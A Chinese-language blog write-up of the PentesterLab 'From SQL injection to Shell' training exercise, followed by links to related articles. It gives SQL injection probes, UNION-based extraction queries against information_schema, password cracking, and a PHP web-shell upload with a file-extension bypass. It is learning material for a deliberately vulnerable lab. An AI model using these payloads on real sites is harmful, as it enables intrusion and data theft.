[SQL注入1]From SQL injection to Shell
第一次写,希望大神们多指点。
对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习。网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTERLAB,网址如下:http://www.pentesterlab.com/
刚开始学,我碰到很多困难,如对数据库不够熟悉,对PHP不熟悉,对各种大神的工具不熟悉。积沙成塔,滴水穿石,我们一步一步踏实地学,可能也用不了多久,就深入这行了。
不废话了,进入正题。
From SQL injection to Shell 这关,大家先网上去下载平台和说明书,本文是我学习过程的笔记,基本上是翻译版的说明书,网上没找到多少这个平台的答案,让大神们遗笑大方。
新手最好自己先练习,官网上讲学习者自己研究,答案只会让你进步变慢。
http://www.pentesterlab.com/exercises/from_sqli_to_shell/
第一步:查找指纹(指纹是信息,可以用于之后的攻击)
1.nmap 端口
2.telnet
3.fiddles或brupsuit查看request headers和服务器的response
HTTP/1.1 200 OK
Date: Thu, 24 Nov 2011 04:40:51 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze3
Vary: Accept-Encoding
Content-Length: 1335
Content-Type: text/html
4.目录内容暴力嗅探 wfuzz
试出指定目录下存在的文件
wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php
第二步:嗅探和开发SQL注入
1.嗅探:
猜想服务器上脚本
整型参数试探
/article.php?id=2' 如果报错语法错误,说明存在漏洞(从SQL的语法来看,不难理解)
/article.php?id=2-1 不报错,如果显示是1图则存在漏洞
字符型参数试探
如果加1个 ' 将报错
如果加两个' 不报错
也可以使用'--来试探 这个是备注符
如果参数位于是在SQL语句内部,
可以用 ' and '1'='1 来试探
再用 ' and '1'='0 来试探,可能报错,也可能查询得其它结果
2.开发SQL注入漏洞
使用UNION
UNION是将两个查询语句的结果合并起来。UNION连接的两个查询结果。
下面简单介绍一下UNION功能
如下两表
要找出来所有有营业额 (sales) 的日子
SELECT Date FROM Store_Information
UNION
SELECT Date FROM Internet_Sales
结果:
查询语句的前面部分我们无法修改,因为这些是PHP中的代码。然而,我们可以利用UNION尝试其它表格的信息。
一个重要的规则,UNION连接的两个查询语句必须查询相等数量的列,否则将出错。
3.利用UNION开发
a.利用UNION试探出列的数量
b.找出显示的列
c.尝试出数据库meta-tables中的信息
d.尝试出其它数据库或表中的信息
有两种方法可以试出列的数量
使用UNION SELECT 和增加列的数量
使用ORDER BY
例源语句如下:
SELECT id,name,price FROM articles where id=1
尝试 SELECT id,name,price FROM articles where id=1 UNION SELECT 1
将报错
尝试 SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
将报错
尝试 SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
没有报错
注:这个是MYSQL方法理论,与其它数据库可能不同。1,2,3……可以换成null,null,null……,UNION两端的字段类型需要一致(或兼容)。
另一种方法是ODER BY
利用ORDER BY,我们可试出字段名。
还有,我们可以用数字,
如果数字大于列数,将报错。例如10
由上面的结果,我们可以构建如下
4.试信息
利用MYSQL自带的函数current_user(),version()和database()
构建如下:
http://www.vulnerable.com/cat.php?id=1%20union%20select%201,@@version,3,4
http://www.vulnerable.com/cat.php?id=1%20union%20select%201,version%28%29,3,4
我们查到MYSQL的版本号
MYSQL5.0以后包含数据库information_schema,我可利用它个数据 库构建语句。
1 UNION SELECT 1,table_name,3,4 FROM
information_schema.tables
1 UNION SELECT 1,column_name,3,4 FROM
information_schema.columns
1 UNION SELECT 1, table_name, column_name,4 FROM
information_schema.columns
1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM
information_schema.columns
比较上面几个语句,后面一个使查询结果变得更直观。可以清楚地知道information_schema数据库中表与字段。我们发现其中有个user表,构建语句
查询结果出来了,好激动。
密码是md5加密,可以google,找解密网站。也可以用john工具进行破解。
破解出来密码是:P4ssw0rd
第三步:登陆网站注入代码
用账号密码登陆网站,找到上传文件位置,上传一个php脚本,
如shell.php,内容如下:
上传报错,可能是对文件扩展名进行了过滤。把扩散名改成php3试试,如果还是不行,再试其它的。
上传完了,接下来就是确定shell.php3的路径。这可以查看图片的HTML代码中查找到
接下来,构建试下命令uname
这里所能执行的命令与应用的权限有关系,如果应用安装时是管理员账号,攻击者会获取到管理员的权限。
出于安全,应用应在普通用户下安装,并给该用户尽可能低的权限。
谢谢大家读完,欢迎大家交流。
[SQL注入1]From SQL injection to Shell的更多相关文章
- [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...
- 读书笔记之SQL注入漏洞和SQL调优
原文:读书笔记之SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“' ...
- SQL注入漏洞和SQL调优SQL注入漏洞和SQL调优
SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这 ...
- 【sql注入教程】SQL注入是什么?我们如何去玩转它
[sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区 SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...
- [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...
- sqli-labs(八)——修改密码处sql注入+http头sql注入
第17关: 这是一个重置密码的功能存在sqk注入,尝试账号密码都输入'",发现只会显示登陆失败,没有报错信息. 这个时候先推测一下后台的sql形式大概应该是: update users se ...
- sql注入和防sql注入
sql注入: from pymysql import * def main(): # 创建连接 conn = connect(host="127.0.0.1", port=3306 ...
- PHP:测试SQL注入以及防止SQL注入
在写登录注册的时候发现了SQL和JS注入这个危害网站的用户举动: 测试方法: SQL注入: 先来做一个测试: 用户名:’ or 1 # 密码:随便写8位以上 验证码:写正确 好吧,就那么简单就进去了: ...
- SQL盲注、SQL注入 - SpringBoot配置SQL注入过滤器
1. SQL盲注.SQL注入 风险:可能会查看.修改或删除数据库条目和表. 原因:未对用户输入正确执行危险字符清理. 固定值:查看危险字符注入的可能解决方案. 2. pom.xml添加依赖 ...
随机推荐
- Windows内存小结(有好多图,比较清楚)
以前写过一篇理解程序内存, 当时主要是针对用户态,下面再稍微深入一点: 我们以32位程序为例(不启用AWE), 总共4G虚拟空间,其中低2G属于用户态, 高2G属于操作系统内核, 每个程序都有自己的低 ...
- CDN和双线机房相比有何优势
1.什么类型的网站最需要CDN? 适合目标客户覆盖全国范围的网站,不论是南方电信.还是北方网通用户.铁通用户,均要求能快速访问到客户网站,彻底解决电信.网通之间的互访瓶颈. 另外国外的网站,如果需要提 ...
- 【转】编写Chrome扩展程序
Chrome的扩展程序很多,也很容易入门,可以来简单实现一下 看看,慢慢就能实现出一个扩展程序来 每个扩展程序应用一般会包含: 一个manifest清单文件 html文件 js文件 其他文件等 可以看 ...
- FZU 11月月赛D题:双向搜索+二分
/* 双向搜索感觉是个不错的技巧啊 */ 题目大意: 有n的物品(n<=30),平均(两个人得到的物品差不能大于1)分给两个人,每个物品在每个人心目中的价值分别为(vi,wi) 问两人心目中的价 ...
- C++Memset误区
Memset的原型是void *memset(void *s, char ch, size_t n); Memset是按字节赋值的,对char以外的类型赋0(00000000) -1(11111111 ...
- lesson6:java线程中断
正常的情况下,业务系统都不会去中断它的线程,但是由于一些特殊情况的发生,线程已经不能正常结束了,并且此类线程已经影响到业务系统提供服务的能力,如果系统设计的健壮,便会通过监控线程去主动的中断此类线程. ...
- Intellj IDEA 启动参数调优
(修改前记得备份) 修改IntellJ/bin/idea.exe.vmoptions修改成 -Xms512m -Xmx512m -Xmn164m -XX:MaxPermSize=250m -XX:Re ...
- Java基础知识强化61:经典查找之 常见查找算法小结
一.顺序查找 条件:无序或有序队列. 原理:按顺序比较每个元素,直到找到关键字为止. 时间复杂度:O(n) 二.二分查找(折半查找) 条件:有序数组 原理:查找过程从数组的中间元素开始,如果中间元素正 ...
- 广播接收者 BroadcastReceiver 示例-1
广播机制概述 Android广播分为两个方面:广播发送者和广播接收者,通常情况下,BroadcastReceiver指的就是广播接收者.广播作为Android组件间的通信方式,可以使用的场景如下: 1 ...
- MVC,jquery异步
创建一个Ajax控制器 using System; using System.Collections.Generic; using System.Linq; using System.Web; usi ...